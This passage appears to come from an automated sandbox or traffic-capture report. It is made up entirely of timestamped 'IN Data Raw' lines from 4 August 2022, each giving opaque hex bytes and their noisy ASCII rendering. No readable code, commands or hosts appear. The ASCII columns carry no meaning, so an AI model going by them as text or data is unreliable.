d3 eb 97 c8 db 5f 47 19 12 21 0d f5 8b e1 2b 94 fc ba ec 21 b4 fd Data Ascii: X{]uB{1]Z[eJ$dnyFaA>Q3ZR~!,:\Q31ZuoD7!k#):+4VF$hu$A@:f+.C[L\|)E/(&uj_LKoNDKuZSOzJF}<_G!+!
2022-08-04 11:37:02 UTC	1360	IN	Data Raw: 6b 0c a2 62 f7 f8 b2 70 70 e1 12 df 57 fb 74 2d d0 f8 b7 96 75 a2 62 7f 70 cd 9f d4 37 e2 ea 04 76 57 5a 57 f3 0d 2d 0b f5 ff 6c cb 27 e5 88 46 c2 54 06 ac 4c 2d 21 fb d4 9e cb 07 d1 30 ab 7f b9 91 c3 3e ed 0f 97 71 1b c8 04 2b 39 41 26 45 13 31 ea fe 9c 0c eb 98 10 4b c0 e3 62 93 ab 74 24 a2 f9 0b 41 8a 0b d6 7a 44 68 99 78 6d 0f 97 bf 39 e4 2e 39 5c 3c b7 3a 25 52 45 5e fd 44 5f ba 33 07 41 f2 0b 5c e2 69 7d 40 6b 01 e9 97 f4 3b ea 8a 45 5b 02 f7 19 e9 1f 74 bf 72 5f 4c 4e 38 ed 04 57 61 44 aa 5b 9d e5 f8 09 c1 20 1c 36 97 de f8 e9 fe a4 a5 f4 38 52 d7 45 5b 34 2a ea 2d af 22 64 15 e2 78 ae e5 84 d5 af 64 f8 bc 14 90 f4 5a cf f0 10 c4 14 d2 95 60 fa 8e c5 27 05 3a 1f 56 da c2 2d f0 54 d4 5a 4a 7f 57 de ce e2 31 fa 75 c5 f3 25 ba 26 84 e2 da e3 33 85 31 Data Ascii: kbppWt-ubp7vWZW-l'FTL-!0>q+9A&E1Kbt$AzDhxm9.9\<:%RE^D_3A\i}@k;E[tr_LN8WaD[ 68RE[4*-"dxdZ`':V-TZJW1u%&31
2022-08-04 11:37:02 UTC	1376	IN	Data Raw: df c6 66 17 41 2b 34 cc 42 e0 4a f0 cb 4d 64 39 08 ec e3 f2 c0 ce a1 9b b9 25 df ec ab 16 41 21 36 fb 99 77 e9 c9 6c 25 da cc fd 04 02 ed ea 9d 7f 6e 0b ec 8b df 94 ca b5 30 99 89 f2 95 7e ca c2 05 03 9a a4 f8 16 4b e1 ab 2d 73 2b 5e 68 ed c2 6b fc 10 67 41 79 08 1d f7 68 bb 2d 5f 1e fd 5a ee e9 39 c5 01 f4 b6 c4 4a c4 95 bd f3 85 41 59 ae 12 e9 81 fb e1 80 28 a0 b0 4c 09 d3 9f dc 14 c9 77 4e bc 9a c0 95 7c 62 5a 5d 32 ba d5 42 19 ca 65 5f 50 72 bf 29 9d cc f3 4e ee bf 8f 22 2f f4 fb db 13 17 09 e2 e2 d7 10 3e f0 80 b1 88 eb 5f 09 17 89 6e f5 1c d0 95 16 96 29 2b 11 7c 4b 94 51 f0 e9 9f 14 91 25 2b 17 43 1a 5a 46 a2 c4 93 ba 75 08 52 1e ac 3c a5 71 91 29 c2 23 03 2f cb fd 96 26 9d c2 d3 de 56 03 51 ca 6b 7c 27 14 f5 e5 12 17 e9 ae 2d f6 ad ee 1c 32 40 19 Data Ascii: fA+4BJMd9%A!6wl%n0~K-s+^hkgAyh-_Z9JAY(LwN\|bZ]2Be_Pr)N"/>_n)+\|KQ%+CZFuR<q)#/&VQk\|'-2@
2022-08-04 11:37:02 UTC	1392	IN	Data Raw: 93 ce 16 dd 3a 71 5a 24 25 f2 20 71 b7 e5 eb a9 1f 89 1c 16 66 b5 05 34 0e ba d9 46 af e0 f4 b4 52 7d b2 0c 55 12 21 f7 c2 4c 55 1c 19 44 1e 44 30 0b 2e 25 3f 4c 39 4f 28 e3 17 48 ad 7c ce 12 ec c2 88 3c 24 dc f4 f9 04 14 fb c4 48 be 2c d1 09 f9 3b 12 25 bf 8b 05 4b f1 c6 2a ad da 90 18 c5 31 f8 e8 60 b7 d1 1f ca 63 33 64 16 c3 10 39 7b f8 31 d3 95 51 9d 49 12 b5 55 e5 27 96 ec ae 9d 7c 3b 84 1c bc a6 e2 c5 66 f0 25 8b 55 c4 af 00 83 ec 08 68 a7 cf bf 5c 50 53 95 d3 e8 8f b5 58 7d 4f 5b 82 fa 49 d5 4e 50 b5 7c 65 64 e1 bf 64 6f b9 d9 91 b1 9d d6 78 e3 a3 d3 fd 93 9f d2 40 e2 0d d6 ff 29 79 de ce e1 9f 99 cd fd 7a dd 8f dd cd 35 3c 2e b2 50 d3 30 04 45 31 30 95 fe ff e9 98 0e 4d 09 4a c1 ab 77 57 a9 7f 32 d9 df fb 73 62 29 fa df 96 90 5c 10 c7 e5 53 38 a8 Data Ascii: :qZ$% qf4FR}U!LUDD0.%?L9O(H\|<$H,;%K*1`c3d9{1QIU'\|;f%Uh\PSX}O[INP\|eddox@)yz5<.P0E10MJwW2sb)\S8
2022-08-04 11:37:02 UTC	1408	IN	Data Raw: 92 ae 99 44 6a bc 72 8b 55 dc 83 52 28 83 c6 eb 09 87 75 ce 94 b7 d9 0e 89 21 cf 0d bb fe 3b f7 61 cb 09 e4 a1 5c 1f eb e6 4a 44 1c ea bd 4e 6b 97 78 74 b9 6c 69 54 c7 eb 78 92 3b 09 db 4e f3 20 40 c9 cc b2 87 77 1a bd dc dc c4 f0 bb f3 5b 96 10 e1 b5 a4 95 99 8e e8 4b a6 f9 0a 41 03 19 9d 52 d5 7b a7 ae dd 53 c5 fe e2 a7 c9 03 c1 98 c9 76 f9 27 ed 54 ba fa 58 06 99 b7 6d 81 3b 29 ec 2a a1 2a 2b 29 50 f4 07 61 39 1b 24 de dc a2 89 9f 65 8d 93 c4 88 28 09 4d fe 5a c2 45 8a 3c 57 c0 c2 ff 2c 2d 0f 86 f0 96 bd f9 20 65 eb 1d 37 81 f3 a2 f8 a8 50 38 ed 4f be 39 65 2a c1 51 31 de 3b 3c b6 f1 44 10 66 f6 1f b7 c4 58 04 c3 b1 02 e9 78 ae da f5 41 65 2f b1 77 25 55 7e 39 b0 55 71 e3 a8 79 78 38 9d d5 b1 3c c2 2b df b9 5d 50 8b c6 3a ed f5 ec c4 97 c6 73 2f e1 78 Data Ascii: DjrUR(u!;a\JDNkxtliTx;N @w[KAR{Sv'TXm;)*+)Pa9$e(MZE<W,- e7P8O9eQ1;<DfXxAe/w%U~9Uqyx8<+]P:s/x
2022-08-04 11:37:02 UTC	1424	IN	Data Raw: e4 5d c7 35 25 e0 8b 8b 0e b9 2c 62 f7 08 f4 42 e9 f7 ba 4c 2b 93 ff 34 5a 9b 49 27 57 9a 95 09 ff 79 10 cb 6e 26 27 63 30 11 19 e7 63 e9 13 29 c4 ab ca fe 4f af 89 be 28 17 5b ff 39 86 2b 52 e7 a8 79 b4 95 e3 5f b2 a7 ce ab cc 1c 01 70 e8 d2 30 aa 9c aa 21 0b c4 44 2b 3b 31 63 e9 28 04 8e 7d 12 fa 38 d0 21 4b 39 ec 23 f0 9f ad 5c 4b 15 32 ce 67 21 44 8a 09 2a 09 ba eb ce a5 04 f7 a5 bb 87 0c fc fb 97 be 62 b2 38 51 ce e5 d6 bf e2 69 85 4d 39 12 91 13 a5 b3 47 96 9d 1e 2a ba 53 3b af b2 80 c9 4c f7 24 27 f3 bd bc 5a bc 7a a2 04 55 9c 08 99 71 a5 fc 7f 71 02 2b 39 85 2b 13 30 cb 45 4a b5 b1 2f ec 3b 4a 9a e2 6b a9 5c 0e 6b 53 32 09 cd f0 79 43 6e f7 ff 9d 21 ea fc 2b 92 c8 fe 8e d5 5e bc 66 5e ce d4 5f be 65 75 c9 4a 3b a9 2d 27 e0 fd 96 d9 a1 4d 3a 2b a8 Data Ascii: ]5%,bBL+4ZI'Wyn&'c0c)O([9+Ry_p0!D+;1c(}8!K9#\K2g!Db8QiM9GS;L$'ZzUqq+9+0EJ/;Jk\kS2yCn!+^f^_euJ;-'M:+
2022-08-04 11:37:02 UTC	1440	IN	Data Raw: 60 65 31 f0 9d d3 fd 25 70 6e bd c5 5a 27 5d 1c 10 aa 3c dd d3 91 21 62 2d 75 32 83 7c 25 c4 e9 ad aa 97 b2 f4 85 c9 10 e9 7d d2 f6 1d 5e e3 fc 2f 01 0e 5a 73 ab 8d 64 2e eb 12 71 bd 8a 4f 84 61 2d b3 f4 c6 0d 9f 96 9c 97 74 41 69 74 c3 25 54 0f 52 7e 4e c4 f7 a3 7c 5a 09 5d e8 fb 9a 24 3c a5 f7 94 c3 b7 79 6c 6b 7d 19 97 cc a7 81 5f c5 4d 89 41 33 a2 aa e3 90 f1 d6 ef d7 67 c1 e5 04 b7 1d 10 f4 20 93 ad 6b 27 cc 7d e7 38 01 89 c8 41 01 75 2a a3 ac 89 88 74 71 79 c0 0d 2e 94 b0 62 6f cc 6c c9 5f f2 ee 65 8b fe c4 b2 eb 9f cf 5b 85 ed ae a2 fe c9 0d f4 5b 66 11 77 b5 de bb c2 01 d8 f5 db 47 81 16 41 ff e7 4d ad 9c ea 83 79 cc cb 44 ed 9d 79 21 52 55 99 fe ee 2a f7 b6 4a 88 da ec 94 2b 59 66 08 33 2d 0c 24 56 52 50 f5 ff e3 2f 61 6c c3 90 2a cf a4 2f eb 55 Data Ascii: `e1%pnZ']<!b-u2\|%}^/Zsd.qOa-tAit%TR~N\|Z]$<ylk}_MA3g k'}8Autqy.bol_e[[fwGAMyDy!RUJ+Yf3-$VRP/al*/U
2022-08-04 11:37:02 UTC	1456	IN	Data Raw: 29 b5 db ff 2f 46 f3 23 cf 88 10 05 92 34 51 ae b8 02 27 49 d6 1b 5a 57 7e fb 25 75 bb 4f ba f1 5d b4 75 46 28 94 1d 07 29 78 1a 4c 69 5e 16 5a 77 b4 12 c0 3c 28 14 bd cd 40 9f 96 48 b7 76 70 47 12 39 f5 d2 9c f5 55 3a cd 52 3f df 1a 27 06 1b 03 dc 02 eb 41 5e 74 b3 5a 7d c5 77 09 e7 01 b3 c8 12 94 d7 49 ee d9 6b 7f cc 8c 31 48 d7 c1 7f b0 6f d2 2e a8 ce 92 f0 0b e7 95 76 fb 7a f4 32 2f d4 0b e2 29 f9 5d f1 d1 a5 dd e1 bf e8 7e dd d5 7a 35 d2 0b 35 c9 dc 33 52 d7 c2 de dd 6a 41 d7 67 96 2d f1 b0 49 78 af b6 3a 79 3f 15 84 94 ac 7e 2d c5 f5 96 e3 9a 17 b7 74 4d 72 55 79 28 64 c5 e7 fb 16 09 d7 74 4e 13 84 ea e7 54 28 e1 4d 17 44 8a 38 b8 87 27 d6 7d 44 3a a0 31 cf 95 28 ad 02 8d 5e fa ac 6e a4 be 31 84 01 d2 3c c9 89 c5 df 59 6c 69 5d b2 aa 57 6c 15 9d 42 Data Ascii: )/F#4Q'IZW~%uO]uF()xLi^Zw<(@HvpG9U:R?'A^tZ}wIk1Ho.vz2/)]~z553RjAg-Ix:y?~-tMrUy(dtNT(MD8'}D:1(^n1<Yli]WlB
2022-08-04 11:37:02 UTC	1472	IN	Data Raw: 4b 48 a3 98 b2 0a 11 41 02 48 24 5d bf 39 f3 7e 75 9a 37 28 e2 09 f3 75 b8 8d 8b 36 9f 6c 42 b5 62 eb 77 4e fa b8 77 04 68 da ed dd 3b fa f7 af 48 ea 14 8f 04 03 5e f0 1e 41 2d b4 a9 7e 54 e4 31 fc 19 11 ef 04 96 fb 9d 9e de db bd 24 e6 2e 16 52 d5 b2 0c fd 5b 9f ad 66 f9 27 0d 20 96 53 9e 61 c1 45 30 21 37 22 5b eb 13 43 a3 57 93 10 91 f9 7a b5 d6 d8 8b f3 10 51 40 c7 31 e9 dc be e9 c2 5b 56 fe 53 e4 f3 33 25 f2 5f 10 24 ca 10 b1 d9 eb d4 8e cb f7 8b 21 45 2e af 5c 0b 27 5d 6a 2d 49 44 f2 3e be 2d b2 41 70 0e c2 42 47 c3 df ec 73 1e 45 78 70 86 6e 66 6f 35 07 43 68 65 63 6b c6 4e 15 1c 8d 45 d1 25 05 da 29 80 36 d9 0b 34 e0 0d 18 3b 6c 01 1c 1a 6d f7 c0 a6 0a 70 d9 00 c4 d5 1b 08 7b 5a 34 e6 09 5b fa 82 27 04 06 60 ae ca d8 30 a4 15 c9 25 e2 97 77 19 0b Data Ascii: KHAH$]9~u7(u6lBbwNwh;H^A-~T1$.R[f' SaE0!7"[CWzQ@1[VS3%_$!E.\']j-ID>-ApBGsExpnfo5CheckNE%)64;lmp{Z4['`0%w
2022-08-04 11:37:02 UTC	1488	IN	Data Raw: 69 85 b0 c3 bb 28 f3 f1 5b 10 3c 89 eb 97 f9 5a 47 da d9 45 26 10 10 cb c3 f9 7b 96 c5 a7 17 12 09 d4 fa 67 4f 04 03 fe a6 d1 4e a2 be da 30 fd 14 eb c2 a8 4c 29 e1 fd 7a b9 9f 57 a3 b8 81 ed c4 a2 7c d1 cb d3 09 51 14 f9 fa c9 75 66 6a 5e 09 82 2b c9 f5 c7 d0 21 f0 3f ae cd 89 50 89 f2 fb 7a ad c2 92 fe f2 49 17 29 d9 ef 26 5f 2a bf 5b e3 45 e4 9c 51 12 bb e8 ad 0a 11 b4 25 55 b9 5b c6 7e 30 9a d8 44 2b 7d 1e fa ca 95 d9 91 c9 d4 66 05 ea 71 b7 e8 d9 2f c7 45 1e 24 76 2d c7 dd 21 2d 24 7d 12 d9 fe 8a fe 40 07 45 49 21 ee 5b a9 8e a5 eb dd d2 2e bc 68 17 c1 78 39 22 2e be 64 0c f8 d7 4a e7 06 13 01 fc 0e 8d d8 77 bf 31 df 09 d7 42 96 e3 e1 f0 f7 7b bc 35 a4 fb ce 79 4b 13 fd b1 ea 08 1e 07 86 24 cf 88 db 73 ba 63 7f 04 f4 c7 ae a8 09 f4 16 bb b7 bd 51 75 Data Ascii: i([<ZGE&{gON0L)zW\|Qufj^+!?PzI)&_*[EQ%U[~0D+}fq/E$v-!-$}@EI![.hx9".dJw1B{5yK$scQu
2022-08-04 11:37:02 UTC	1504	IN	Data Raw: 9c 25 ed f0 f9 36 69 70 b3 97 74 11 5a 5e 0a 78 34 24 0b 78 4f 3d 08 dd ee 7b 96 6d 0b e2 20 f9 67 6f c4 21 c8 bb e7 3c 2d d5 f8 10 4f 49 ae 99 86 59 7d ad 1c ee 73 bf b0 cd 29 c2 b5 32 db 5c 7e c2 21 03 c8 35 ec 8c 25 09 54 76 5e 58 21 01 97 ce 50 90 a6 8a db 75 ce 37 27 01 de 45 20 17 c2 3d 93 65 3c 6e cb 76 4b cc 01 b7 4f 1f ca 22 27 c2 75 e7 b9 2d f9 9c 42 33 19 76 19 2f f4 b5 7b c5 aa 9a 26 26 f0 bd 62 2b 5d 5f ce 09 3c 4c 29 6e 5b c4 01 e1 aa e6 d0 4a e6 89 4b b9 8a ca eb 30 90 09 0b 4d 29 e4 75 64 16 4b 88 e2 e8 d2 b1 26 3e 2d f4 d8 28 f1 16 5a 2e 5b cc da 67 8a 57 db cd 2d 59 46 af 5d 19 07 15 3e a7 76 4b 37 01 54 e3 be 9d 9e 2f bc 66 4c 31 b4 ae ca 53 27 e9 f1 1c 42 c3 f0 91 6a 78 c2 7d 14 71 b7 04 68 19 e8 2c b5 ea cd 17 3e 97 64 3b 4e 7a 51 c2 Data Ascii: %6iptZ^x4$xO={m go!<-OIY}s)2\~!5%Tv^X!Pu7'E =e<nvKO"'u-B3v/{&&b+]_<L)n[JK0M)udK&>-(Z.[gW-YF]>vK7T/fL1S'Bjx}qh,>d;NzQ
2022-08-04 11:37:02 UTC	1520	IN	Data Raw: 85 f1 88 8c 51 d1 4e 03 c2 07 c2 56 de 42 e1 78 56 d7 d1 3c 3a 2d 92 3a a8 d4 d0 c9 4e b8 d9 8b e1 14 33 f4 ca 97 47 ad 24 80 ac d9 d2 55 e9 08 ea 2a e8 f8 a5 bb 9a 8f 17 ef f0 32 15 d2 55 e5 b3 01 08 8f 7b a3 7d 3c 43 5f bc 62 a1 c2 7c 7e 2c c7 31 bf b1 fd 1e 33 89 96 fd c6 d2 cd 52 ac 42 dd af 53 bf 27 57 09 e8 75 7b ab 09 cb 04 47 9c 25 74 7b 2d 45 25 a7 74 ff cb 1a da 29 d2 c5 4d 21 07 12 c5 8c 77 c2 bc f0 e9 57 6c eb 5b fa f0 6e 55 9d 5c 2e c9 f5 16 d5 85 d7 a5 7d 8b 00 7c 41 50 31 f7 09 41 03 14 24 cb 72 9a f5 ff fb dd 13 17 ab 9d 56 2e ff 64 84 bb a8 e7 a2 3f 5c ef 58 41 31 95 f6 84 27 7f 32 98 d0 c2 85 65 2a fc 97 f9 17 c9 6c f6 81 f4 ef 2c bb 6b 1b de e6 73 5b b9 bc 38 a1 c1 67 84 85 41 8a 31 fb 09 a5 09 5f 72 31 95 74 fa ee e9 e6 77 65 dc a7 6c Data Ascii: QNVBxV<:-:N3G$U2U{}<C_b\|~,13RBS'Wu{G%t{-E%t)M!wWl[nU\.}\|AP1A$rV.d?\XA1'2el,ks[8gA1_r1twel
2022-08-04 11:37:02 UTC	1536	IN	Data Raw: 32 69 5d 4c 6e 42 f1 5f c0 41 44 29 1f 9d 09 07 7d 45 51 16 88 f6 42 64 2a d8 af 66 c3 14 5f d2 fb 67 59 f5 da ee d1 1f 8b 08 2d f0 d3 12 4a ab dc 6a c0 e1 23 cf 93 e2 d2 97 ee 62 ff c6 07 f0 04 08 be 61 cb c0 40 2b 8f c9 5a 62 86 ca 66 86 27 63 02 c5 d3 17 c7 bc 48 e5 bb c8 38 d6 b5 f3 77 af 56 cc 97 f2 ea 39 4d 21 97 c4 ff e1 b6 6a 2d 14 56 77 ec 91 fc eb 76 b1 ef c9 20 76 6a da fd c0 b9 21 c8 9f 73 54 12 49 a3 f5 4f ac e8 4e fe 93 96 01 f5 e9 24 d0 df 4b a2 54 96 ab 8c 57 ec 4a 10 8b 19 5e b6 65 4a b2 d9 9f a9 6a 12 cd fb 39 62 7f ac 24 51 c5 79 28 96 f1 87 af 15 55 96 85 fd 7e e9 f6 92 e2 21 08 41 33 1e ed f1 1d 55 2e 98 05 c9 97 5b 19 b5 1c ae ca d9 4b ea 21 58 41 29 6a 8a 03 48 d7 5b ac ee a2 c4 fd f9 d6 6a b3 3f 58 d2 03 03 71 8c 0b 52 25 14 dd d7 Data Ascii: 2i]LnB_AD)}EQBd*f_gY-Jj#ba@+Zbf'cH8wV9M!j-Vwv vj!sTION$KTWJ^eJj9b$Qy(U~!A3U.[K!XA)jH[j?XqR%
2022-08-04 11:37:02 UTC	1552	IN	Data Raw: 3f 92 63 75 3d 85 96 08 30 fa 8b fb 3d cc c0 2f 3b 40 fd 40 d8 f4 f0 14 1f 79 da 16 18 71 95 28 6e 32 00 27 02 42 a1 e8 ff fe 7e 07 1e dc 6a d4 da 8f 61 9c 29 6b 77 e4 68 7f 98 44 34 8e ce 47 c9 b6 c0 0b 1c 00 f8 07 18 58 46 72 56 3a f5 c0 48 ee 00 b2 b4 11 1d 71 07 1f d6 61 45 1a ad 64 2c e0 4f 5d 04 a7 47 65 0c 7b af 30 57 f4 3d 56 01 81 14 5b d3 77 42 d7 8c 70 fb 5d bc e6 12 9c 24 20 88 83 b0 15 df 97 d8 82 48 8b 69 08 8f 2f b2 fe 8c 82 10 fd 80 14 ec 3b d9 ff f8 ed 5c 43 88 70 0b a2 4d 35 8a 81 6d 9b ae 49 6b 16 48 39 60 2c d4 4a ab 74 b1 ed 58 4f f2 33 93 fb 74 6a ef f1 dd 2a f2 46 ca c1 0e a5 de 3d 97 c2 ea 8e d2 5e bc e4 4a a2 6d d3 ed 10 93 39 af af 02 5e d1 52 d5 70 35 b5 fc 06 c4 f5 a6 26 59 1b 89 ed 44 86 27 09 c2 d6 1d 79 c4 49 22 66 dc 12 01 Data Ascii: ?cu=0=/;@@yq(n2'B~ja)kwhD4GXFrV:HqaEd,O]Ge{0W=V[wBp]$ Hi/;\CpM5mIkH9`,JtXO3tj*F=^Jm9^Rp5&YD'yI"f
2022-08-04 11:37:02 UTC	1568	IN	Data Raw: f9 88 30 8e 64 60 05 39 e8 2c 63 d0 c3 4c b0 f4 03 06 39 e3 29 58 d1 18 0b 07 92 5e 5c 5c 5f d9 02 26 26 24 08 f8 70 2b 0b b7 51 ce 61 41 33 4d 3a bc c9 e7 42 0c 24 57 e7 a2 98 75 c4 62 94 5e 2e cf bc 5f af 0b 40 13 db bd 01 f1 ea 62 33 32 2e f3 23 92 ba 57 60 a2 65 d7 a3 62 2f 05 c6 96 4a 0a fd 7d a5 ba 8b 39 7d 2f 33 09 f7 9c 0c 43 0e 96 bc 0d b7 d4 08 39 7f ad 8a a4 65 99 ae 36 88 90 ee ee a0 b1 e9 6b 17 d5 bc 0d 0c 97 f0 06 c9 bc a3 5b 9c ef b9 43 e4 bf f1 8b 7b 60 18 d2 10 9c b7 53 26 4d 2e 3b 8f ec 48 ee 22 37 bd 51 e2 4b 5e 86 56 b5 fb 47 a5 dc ad 11 26 d1 b9 48 af e4 eb f3 2a a7 bb 5c 14 58 41 03 60 10 2e aa e3 04 1d b5 c7 bf 3a 4e fb ce 09 7b fc d0 b8 9b 5e 30 fe 2f 21 12 63 03 ea 3d 8a f6 02 e6 7e 50 10 01 9d 5f a9 0b a3 bf 22 e9 33 2a af 3d 42 Data Ascii: 0d`9,cL9)X^\\_&&$p+QaA3M:B$Wub^._@b32.#W`eb/J}9}/3C9e6k[C{`S&M.;H"7QK^VG&H\XA`.:N{^0/!c=~P_"3=B
2022-08-04 11:37:02 UTC	1584	IN	Data Raw: 5e b8 ce 41 b3 6a bc bb b4 fe b5 18 3e a6 93 65 16 36 eb 84 55 b2 55 84 ec 90 4c 66 bc c7 48 92 77 b1 e3 3f 53 13 f2 8a f3 d0 01 fe 29 9d 5e 5c 44 c0 9a 9a 13 01 ee a8 f6 a2 f6 5d 79 3f 6b f7 b8 d8 8b 36 9d de 93 cf 58 ee 29 32 4e 9c 2d ee 6f 84 ef ef 8a a6 4b f2 6d 80 29 dd 4c 01 fe b5 45 ed 13 cb 72 83 0a 1a 7d 42 0e 55 9c 5b 97 64 03 17 44 8a 09 ba 32 e7 b1 71 05 69 4c 56 95 d7 96 0c d3 67 a8 05 e4 ff 95 be ab 14 05 33 f4 f3 e8 5f 17 66 97 a9 64 04 fb 3c 39 c3 52 90 3a 26 0f d4 67 3f 09 d9 3e 68 3d 49 7d d0 00 86 48 13 4d 31 fb ee 98 b0 01 5e e9 e6 48 4a be 81 0b 21 f0 4c 21 41 4c 5f 83 0e 39 e9 1e 12 e2 d6 95 a3 2a f0 18 95 7d 34 22 b6 71 2c 8d f1 0b 3a cb 47 64 84 f4 ff 89 2a 2f 49 7e ee f7 63 40 26 ea 9c 3a 84 58 f0 99 ba 05 dc c6 1e 39 d6 3f 8b fd Data Ascii: ^Aj>e6UULfHw?S)^\D]y?k6X)2N-oKm)LEr}BU[dD2qiLVg3_fd<9R:&g?>h=I}HM1^HJ!L!AL_9}4"q,:Gd/I~c@&:X9?
2022-08-04 11:37:02 UTC	1600	IN	Data Raw: 29 53 43 48 45 3f 2d c3 cf 57 9e a1 ac 7b ac 6c 5a a2 7c d3 eb cc 7c cd bc d7 25 d3 44 2d 70 ff 91 23 6b 75 6e 70 17 21 c0 4c a2 f8 4f ae 2d 19 8d 3d 4c 31 28 a7 34 b3 01 23 42 f7 c1 41 31 06 01 f7 4d ad 2e 55 96 23 9f db d1 2f d4 62 96 ed ea dd 45 2e 53 d4 fd e1 d3 fc 77 c1 af 0f 86 1d 2b 3d 4e 6f e2 b2 03 2d f1 e1 4e 41 27 76 c0 dc 49 51 ef 2e 74 ae fa 72 dc eb 99 f7 01 f6 55 45 0a 2d 90 e2 66 29 4e 07 97 bf 3b d8 70 2d c1 12 c7 f0 3b a4 f0 03 c2 c5 90 4c c4 9d d8 18 95 de b8 c9 59 3c a4 82 92 33 ba 74 ea fa 8a c3 4e ae 9c 5c c5 e1 2f 8b bb 4e fe 10 44 e5 4a ae 72 d9 e9 54 86 c4 3f ae 2d 95 2b fb 16 23 fb 8f eb 5e fc 66 4e aa 52 61 af e6 d4 09 44 01 37 dd 32 5b f5 a5 73 89 fb f7 4c 4b e1 6e 4e cc 4f e9 2d 93 ee 70 71 0b 4e 0a 34 43 45 8c ba a6 8c 0b 4d Data Ascii: )SCHE?-W{lZ\|\|%D-p#kunp!LO-=L1(4#BA1M.U#/bE.Sw+=No-NA'vIQ.trUE-f)N;p-;LY<3tN\/NDJrT?-+#^fNRaD72[sLKnNO-pqN4CEM
2022-08-04 11:37:02 UTC	1616	IN	Data Raw: 0e ec 80 3d e4 2b b7 61 5a a1 61 6b 29 8d 6b e1 f0 5d fa 2a 27 49 34 40 aa 3d 1a 0d 81 43 d5 d5 41 a5 f7 2e 61 b6 ca 08 08 21 5e da b2 7d 96 f6 39 4a f6 ac 7f 43 0c 2f ef 9b 18 2d 4d ed d4 b6 71 40 2f ed c9 8d 94 18 3f ca 62 4f e8 7b 46 7e 11 e7 08 8e 90 10 b4 ae e6 24 29 cd 77 12 f2 eb 99 1a 05 8b fa 64 32 f2 06 85 c0 37 b8 ef b5 ba 66 cb 60 25 f0 66 75 04 ad c2 fe d9 14 2d 5b 5a ef 23 04 5b 14 e0 1e e9 31 5b ca 97 4e ec 85 5b 29 12 a7 0f c6 81 57 fa b9 2a 5b 9c 95 54 d6 52 41 7e fa 2e c4 ef ab ca a5 5b 99 12 2b 99 27 7b b6 96 5e a2 04 09 41 b4 1c 77 f9 81 27 08 57 e8 e9 57 94 64 5f f0 8a 46 4f 8c 84 21 09 d6 44 30 23 5f cc 39 92 d5 bc 61 5a 7d b2 77 73 bd b4 9c be 9d d8 e9 e9 7a b6 ad 4b 71 08 c6 20 2c 1c d3 ee dd be 6f e6 26 27 e7 d5 e5 d2 a5 7f 39 8d Data Ascii: =+aZak)k]'I4@=CA.a!^}9JC/-Mq@/?bO{F~$)wd27f`%fu-[Z#[1[N[)W[TRA~.[+'{^Aw'WWd_FO!D0#_9aZ}wszKq ,o&'9
2022-08-04 11:37:02 UTC	1632	IN	Data Raw: e1 ca 84 13 4c 09 d3 fc 25 5a d9 8f 3b ca 29 21 c5 25 c0 d4 44 08 4a 20 e1 4a 7b ad 9b d2 f6 ad 12 e3 10 ec e7 b5 a8 8b 4b dd b7 e9 e9 3e e7 09 4b 12 66 fd 41 d6 af 13 a3 bc 2e e4 ea 35 56 d1 2a f2 20 63 2a d0 92 4a b8 ff a4 b2 49 4a ea 8b cc 45 92 2a 8b bf 65 3f 3f b2 3a d2 94 8f b6 8e 48 5e 27 d0 d5 32 2d 57 fe d1 22 eb 25 e0 80 c7 b1 92 e9 eb a2 04 d0 f2 3d de 4e eb 8f 3c 4f a6 77 69 74 c3 80 58 dc 62 e5 aa 96 83 2b 96 9b ea f5 e4 0d bb f8 d1 81 c3 16 f9 49 6a c2 34 ed 1a 68 8d 29 cf 95 7e 50 e7 c2 08 a7 4e 8f 25 31 d7 5f cc d2 9d 52 fd b5 51 36 6b 52 22 97 f4 fa e8 b1 89 c1 e3 62 99 60 3e 8b 11 bd fe fa e9 f9 19 8a 31 f6 72 4b 7e dd 45 cc 25 0c eb ca c9 4f f1 79 23 8e d6 ea ca fd 5a e9 c1 8a c3 26 95 35 06 12 63 0b 1a f8 96 c2 2c 7b 1a a5 df 99 65 0d Data Ascii: L%Z;)!%DJ J{K>KfA.5V* cJIJEe??:H^'2-W"%=N<OwitXb+Ij4h)~PN%1_RQ6kR"b`>1rK~E%Oy#Z&5c,{e
2022-08-04 11:37:02 UTC	1648	IN	Data Raw: 5f 79 38 d7 5f 72 57 18 00 99 8c 3a df 7f 84 da 49 5b 7e 74 fd f6 5a 8b df cb 53 55 9e f3 44 34 5e 9f f3 a9 e8 22 01 68 a3 70 f9 7f 6b 33 39 2c ed 03 10 16 7c 6c 04 be de 6f ff 55 ae 70 f5 02 fd 96 5e 75 b7 59 40 10 5c 1d 81 e6 7d 46 74 cb ff 4c 09 46 f7 62 53 57 36 fe 02 68 e7 d2 cf 74 41 b0 3a 49 7b 25 ab 63 73 e5 43 d9 ba 75 d8 0b 83 7a e4 63 59 4f 49 56 e5 50 e5 b8 3a fe 3f ba a9 9e df 6f 82 90 3e 7d 6b d6 0a 25 56 d7 f2 fd 19 ba d7 af 0e 50 48 9f f1 4f c8 1f e9 56 e8 5a 18 51 df 52 3a e7 73 84 0b fa fe 2f ae 74 d6 aa 8a 0a 62 46 4c 8b d5 ed e0 2d 45 c9 2f 59 67 25 59 db 8a 41 59 76 4d 14 92 08 e6 ad 44 e4 aa dd e1 3f b2 f2 5e cb 9f 74 85 af 6e 78 0a 22 02 3f 47 fc 4c 86 c5 ce 06 ac ea 80 40 0a 8b 2c 34 76 95 6c fb 41 92 3e e0 79 63 12 37 9c 73 aa 29 Data Ascii: _y8_rW:I[~tZSUD4^"hpk39,\|loUp^uY@\}FtLFbSW6htA:I{%csCuzcYOIVP:?o>}k%VPHOVZQR:s/tbFL-E/Yg%YAYvMD?^tnx"?GL@,4vlA>yc7s)
